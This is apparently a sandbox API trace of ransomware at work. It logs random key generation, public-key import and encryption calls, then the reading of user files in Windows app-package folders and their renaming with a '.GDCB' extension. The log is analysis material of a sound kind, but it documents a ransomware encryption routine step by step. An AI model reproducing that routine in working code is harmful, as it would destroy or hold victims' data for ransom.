[0286.067] GetLastError () returned 0x0 [0286.067] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.067] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0286.069] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a86b0) returned 1 [0286.069] CryptGetKeyParam (in: hKey=0x67a86b0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0286.069] CryptEncrypt (in: hKey=0x67a86b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xd210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0286.069] GetLastError () returned 0x0 [0286.069] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.069] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0286.070] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd220000 [0286.074] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd230000 [0286.077] ReadFile (in: hFile=0x454, lpBuffer=0xd230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xd230000*, lpNumberOfBytesRead=0x285d670*=0xbec0, lpOverlapped=0x0) returned 1 [0286.086] VirtualAlloc (lpAddress=0x0, dwSize=0xbec0, flAllocationType=0x3000, flProtect=0x4) returned 0xd340000 [0286.094] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm.gdcb")) returned 0 [0286.158] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0286.161] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.164] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.164] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0286.164] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.164] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0286.167] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.170] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.170] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0286.170] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.170] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0286.173] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a8530) returned 1 [0286.173] CryptGetKeyParam (in: hKey=0x67a8530, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0286.173] CryptEncrypt (in: hKey=0x67a8530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd200000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd200000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0286.173] GetLastError () returned 0x0 [0286.173] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.173] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0286.176] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a88b0) returned 1 [0286.176] CryptGetKeyParam (in: hKey=0x67a88b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0286.176] CryptEncrypt (in: hKey=0x67a88b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd210000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd210000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0286.176] GetLastError () returned 0x0 [0286.176] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.176] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\Internet Explorer\\DOMStore\\YZLQLSKF\\www.bing[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\microsoft\\internet explorer\\domstore\\yzlqlskf\\www.bing[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0286.178] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd220000 [0286.181] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd230000 [0286.184] ReadFile (in: hFile=0x458, lpBuffer=0xd230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd230000*, lpNumberOfBytesRead=0x285d3e8*=0x17be, lpOverlapped=0x0) returned 1 [0286.194] VirtualAlloc (lpAddress=0x0, dwSize=0x17c0, flAllocationType=0x3000, flProtect=0x4) returned 0xd340000 [0286.201] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\Internet Explorer\\DOMStore\\YZLQLSKF\\www.bing[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\microsoft\\internet explorer\\domstore\\yzlqlskf\\www.bing[1].xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Microsoft\\Internet Explorer\\DOMStore\\YZLQLSKF\\www.bing[1].xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\microsoft\\internet explorer\\domstore\\yzlqlskf\\www.bing[1].xml.gdcb")) returned 1 [0286.217] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0286.221] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.224] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.224] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0286.224] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.225] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0286.228] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.231] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.231] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0286.231] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.232] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0286.234] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67a7330) returned 1 [0286.234] CryptGetKeyParam (in: hKey=0x67a7330, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0286.234] CryptEncrypt (in: hKey=0x67a7330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd200000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd200000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0286.235] GetLastError () returned 0x0 [0286.235] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.235] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0286.237] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67a86f0) returned 1 [0286.237] CryptGetKeyParam (in: hKey=0x67a86f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0286.237] CryptEncrypt (in: hKey=0x67a86f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd210000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd210000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0286.237] GetLastError () returned 0x0 [0286.237] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.237] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\speech_onecorereg.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0286.243] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0286.246] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.249] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.249] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0286.249] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.249] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0286.252] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.255] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.255] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0286.255] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.255] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4e48) returned 1 [0286.258] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67a8770) returned 1 [0286.258] CryptGetKeyParam (in: hKey=0x67a8770, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0286.258] CryptEncrypt (in: hKey=0x67a8770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd220000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd220000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0286.258] GetLastError () returned 0x0 [0286.258] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.258] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0286.260] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67a8570) returned 1 [0286.260] CryptGetKeyParam (in: hKey=0x67a8570, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0286.260] CryptEncrypt (in: hKey=0x67a8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd230000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd230000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0286.260] GetLastError () returned 0x0 [0286.260] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0286.260] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0286.318] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0286.322] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.324] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.324] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0286.324] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.324] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0286.327] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.329] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.329] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0286.329] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0286.329] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0286.332] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a87f0) returned 1 [0286.332] CryptGetKeyParam (in: hKey=0x67a87f0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0286.332] CryptEncrypt (in: hKey=0x67a87f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd240000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xd240000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0286.332] GetLastError () returned 0x0 [0286.332] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.332] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0286.334] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a8830) returned 1 [0286.334] CryptGetKeyParam (in: hKey=0x67a8830, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0286.334] CryptEncrypt (in: hKey=0x67a8830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd250000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xd250000*, pdwDataLen=0x285d630*=0x100) returned 1 [0286.335] GetLastError () returned 0x0 [0286.335] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.335] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\1605653898\\4275773285.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0286.336] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd260000 [0286.339] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd270000 [0286.342] ReadFile (in: hFile=0x454, lpBuffer=0xd270000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xd270000*, lpNumberOfBytesRead=0x285d670*=0x16dc8, lpOverlapped=0x0) returned 1 [0286.364] VirtualAlloc (lpAddress=0x0, dwSize=0x16dd0, flAllocationType=0x3000, flProtect=0x4) returned 0xd380000 [0286.373] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\1605653898\\4275773285.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\1605653898\\4275773285.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\1605653898\\4275773285.pri.gdcb")) returned 1 [0286.382] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0286.386] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.388] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.388] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0286.388] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.388] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0286.391] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.393] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.394] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0286.394] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.395] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0286.397] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a8870) returned 1 [0286.397] CryptGetKeyParam (in: hKey=0x67a8870, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0286.397] CryptEncrypt (in: hKey=0x67a8870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd240000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xd240000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0286.398] GetLastError () returned 0x0 [0286.398] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.398] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0286.399] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a80f0) returned 1 [0286.399] CryptGetKeyParam (in: hKey=0x67a80f0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0286.399] CryptEncrypt (in: hKey=0x67a80f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd250000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xd250000*, pdwDataLen=0x285d630*=0x100) returned 1 [0286.400] GetLastError () returned 0x0 [0286.400] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.400] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\2646675675\\806068533.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\2646675675\\806068533.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0286.401] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd260000 [0286.404] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd270000 [0286.407] ReadFile (in: hFile=0x454, lpBuffer=0xd270000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xd270000*, lpNumberOfBytesRead=0x285d670*=0xfd8, lpOverlapped=0x0) returned 1 [0286.415] VirtualAlloc (lpAddress=0x0, dwSize=0xfe0, flAllocationType=0x3000, flProtect=0x4) returned 0xd380000 [0286.421] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\2646675675\\806068533.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\2646675675\\806068533.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\2646675675\\806068533.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\2646675675\\806068533.pri.gdcb")) returned 1 [0286.426] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0286.429] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 